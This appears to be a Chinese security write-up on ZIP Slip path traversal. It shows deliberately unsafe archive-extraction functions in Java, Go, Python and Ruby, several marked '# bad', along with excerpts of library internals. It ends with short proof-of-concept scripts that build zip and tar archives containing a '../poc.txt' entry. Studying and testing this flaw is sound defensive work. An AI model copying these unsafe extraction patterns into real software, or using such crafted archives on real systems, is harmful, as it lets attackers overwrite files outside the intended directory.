那些常见代码中默认不安全模块的ZIP Slip攻击

Java                  public static void unsafe_unzip(String file_name, String output) {                  File destDir = new File(output);                  try (ZipInputStream zip = new ZipInputStream(new FileInputStream(file_name))) {                  ZipEntry entry;                  while ((entry = zip.getNextEntry()) != null) {                  String path = output + File.separator + entry.getName();                  try (FileOutputStream fos = new FileOutputStream(path)) {                  byte[] buffer = new byte[1024];                  int len;                  while ((len = zip.read(buffer)) > 0) {                  fos.write(buffer, 0, len);                  }                  }                  zip.closeEntry();                  }                  } catch (IOException e) {}                  }

Java                  public static void unsafe_unzip5(String file_name, String output) {                  try (ZipFile zipFile = new ZipFile(new File(file_name))) {                  zipFile.entries().asIterator().forEachRemaining(entry -> {                  try{                  Path destPath = Paths.get(output, entry.getName());                  File fil = new File(destPath.toString());                  if (entry.isDirectory()) {                  fil.mkdirs();                  } else {                  fil.getParentFile().mkdirs();                  try (InputStream in = zipFile.getInputStream(entry);                  OutputStream out = Files.newOutputStream(destPath)) {                  in.transferTo(out);                  }                  }                  }catch (IOException e){                  }                  });                  } catch (IOException e) {                  e.printStackTrace();                  }                  }

Java                  public static void unsafe_untar(String file_name, String output) {                  File destDir = new File(output);                  try (TarArchiveInputStream tarIn = new TarArchiveInputStream(new BufferedInputStream(new FileInputStream(file_name)))){                  ArchiveEntry entry;                  while((entry = tarIn.getNextEntry()) != null){                  Path extractTo = Paths.get(output).resolve(entry.getName());                  Files.copy(tarIn, extractTo);                  }                  } catch (IOException e){                  e.printStackTrace();                  }                  }

Java                  package main                  import (                  "archive/zip"                  "io"                  "log"                  "os"                  "path/filepath"                  )                  func unzip(src string, dest string) error {                  r, err := zip.OpenReader(src)                  if err!= nil {                  return err                  }                  defer r.Close()                  for _, f := range r.File {                  // 拼接目标文件路径，这里没有对路径做安全验证，容易出现漏洞                  fpath := filepath.Join(dest, f.Name)                  if f.FileInfo().IsDir() {                  os.MkdirAll(fpath, os.ModePerm)                  continue                  }                  // 创建目标文件                  outFile, err := os.Create(fpath)                  if err!= nil {                  return err                  }                  defer outFile.Close()                  // 打开压缩包内的文件并复制内容到目标文件                  inFile, err := f.Open()                  if err!= nil {                  return err                  }                  defer inFile.Close()                  _, err = io.Copy(outFile, inFile)                  if err!= nil {                  return err                  }                  }                  return nil                  }

Java                  package main                  import (                  "archive/tar"                  "io"                  "log"                  "os"                  "path/filepath"                  )                  func untar(src string, dest string) error {                  file, err := os.Open(src)                  if err!= nil {                  return err                  }                  defer file.Close()                  tr := tar.NewReader(file)                  for {                  header, err := tr.Next()                  if err == io.EOF {                  break                  }                  if err!= nil {                  return err                  }                  // 构建目标文件路径，这里缺少路径安全验证，存在漏洞风险                  target := filepath.Join(dest, header.Name)                  if header.Typeflag == tar.TypeDir {                  os.MkdirAll(target, os.ModePerm)                  continue                  }                  outFile, err := os.Create(target)                  if err!= nil {                  return err                  }                  defer outFile.Close()                  _, err = io.Copy(outFile, tr)                  if err!= nil {                  return err                  }                  }                  return nil                  }

Java                  def copyfileobj(fsrc, fdst, length=0):                  """copy data from file-like object fsrc to file-like object fdst"""                  if not length:                  length = COPY_BUFSIZE                  # Localize variable access to minimize overhead.                  fsrc_read = fsrc.read                  fdst_write = fdst.write                  while buf := fsrc_read(length):                  fdst_write(buf)

Java                  def unzip(file_name, output):                  # bad                  with zipfile.ZipFile(file_name, 'r') as zf:                  for filename in zf.namelist():                  # Output                  output_path = os.path.join(output, filename)                  with zf.open(filename) as source:                  with open(output_path, 'wb') as destination:                  shutil.copyfileobj(source, destination)

Java                  def _extract_member(self, tarinfo, targetpath, set_attrs=True,                  numeric_owner=False):                  """Extract the TarInfo object tarinfo to a physical                  file called targetpath.                  """                  # Fetch the TarInfo object for the given name                  # and build the destination pathname, replacing                  # forward slashes to platform specific separators.                  targetpath = targetpath.rstrip("/")                  targetpath = targetpath.replace("/", os.sep)                  # Create all upper directories.                  upperdirs = os.path.dirname(targetpath)                  if upperdirs and not os.path.exists(upperdirs):                  # Create directories that are not part of the archive with                  # default permissions.                  os.makedirs(upperdirs)                  if tarinfo.islnk() or tarinfo.issym():                  self._dbg(1, "%s -> %s" % (tarinfo.name, tarinfo.linkname))                  else:                  self._dbg(1, tarinfo.name)                  if tarinfo.isreg():                  self.makefile(tarinfo, targetpath)

Java                  def makefile(self, tarinfo, targetpath):                  """Make a file called targetpath.                  """                  source = self.fileobj                  source.seek(tarinfo.offset_data)                  bufsize = self.copybufsize                  with bltn_open(targetpath, "wb") as target:                  if tarinfo.sparse is not None:                  for offset, size in tarinfo.sparse:                  target.seek(offset)                  copyfileobj(source, target, size, ReadError, bufsize)                  target.seek(tarinfo.size)                  target.truncate()                  else:                  copyfileobj(source, target, tarinfo.size, ReadError, bufsize)

Java                  def untar(file_name, output):                  # bad                  with tarfile.open(file_name, 'r') as tf:                  for member in tf.getmembers():                  tf.extract(member) 

Java                  Zip::File.open(file_name).extract(entry, file_path)

Java                  # Extracts `entry` to a file at `entry_path`, with `destination_directory`                  # as the base location in the filesystem.                  #                  # NB: The caller is responsible for making sure `destination_directory` is                  # safe, if it is passed.                  def extract(entry, entry_path = nil, destination_directory: '.', &block)                  block ||= proc { ::Zip.on_exists_proc }                  found_entry = get_entry(entry)                  entry_path ||= found_entry.name                  found_entry.extract(entry_path, destination_directory: destination_directory, &block)                  end

Java                  def unsafe_unzip(file_name, output)                  # bad                  Zip::File.open(file_name) do |zip_file|                  zip_file.each do |entry|                  file_path = File.join(output, entry.name)                  FileUtils.mkdir_p(File.dirname(file_path))                  zip_file.extract(entry, file_path)                   end                  end                  end

Java                  Gem::Package::TarReader.new(file)

Java                  def unsafe_untar(file_name, output)                  # bad                  File.open(file_name, 'rb') do |file_stream|                  Gem::Package::TarReader.new(file_stream).each do |entry|                  entry_var = entry.full_name                  path = File.expand_path(entry_var, output)                  File.open(path, 'wb') do |f|                  f.write(entry.read)                  end                  end                  end                  end

Java                  import zipfile                  def compress_file(filename):                  with zipfile.ZipFile('../payloads/payload.zip', 'w') as zipf:                  zipf.writestr(filename, "PoC")                  filename = '../poc.txt'                  compress_file(filename)                  

Java                  import tarfile                  import io                  def compress_file(filename):                  # Create a TarFile object and compress it with gzip                  with tarfile.open('../payloads/payload.tar', 'w') as tarf:                  # Create an in-memory file-like object with the content "Test payload"                  data = io.BytesIO(b"Test payload")                  # Create a tarinfo object for the file we're adding                  tarinfo = tarfile.TarInfo(name=filename)                  tarinfo.size = len(data.getvalue())# Set the size of the data                  # Add the file to the tar archive                  tarf.addfile(tarinfo, data)                  filename = '../poc.txt'                  compress_file(filename)

Java                  import tarfile                  import io                  def create_tar_gz_archive(output_tar_gz_file, file_name, content):                  with tarfile.open(output_tar_gz_file, 'w:gz') as tar:                  # Create an in-memory file-like object with the specified content                  file_like_object = io.BytesIO(content.encode('utf-8'))                  # Create a TarInfo object for the file we're adding                  tarinfo = tarfile.TarInfo(name=file_name)                  tarinfo.size = len(content)                  # Add the file to the tar archive                  tar.addfile(tarinfo, file_like_object)                  # Example usage:                  create_tar_gz_archive('../payloads/payload.tar.gz', '../poc.txt', 'PoC')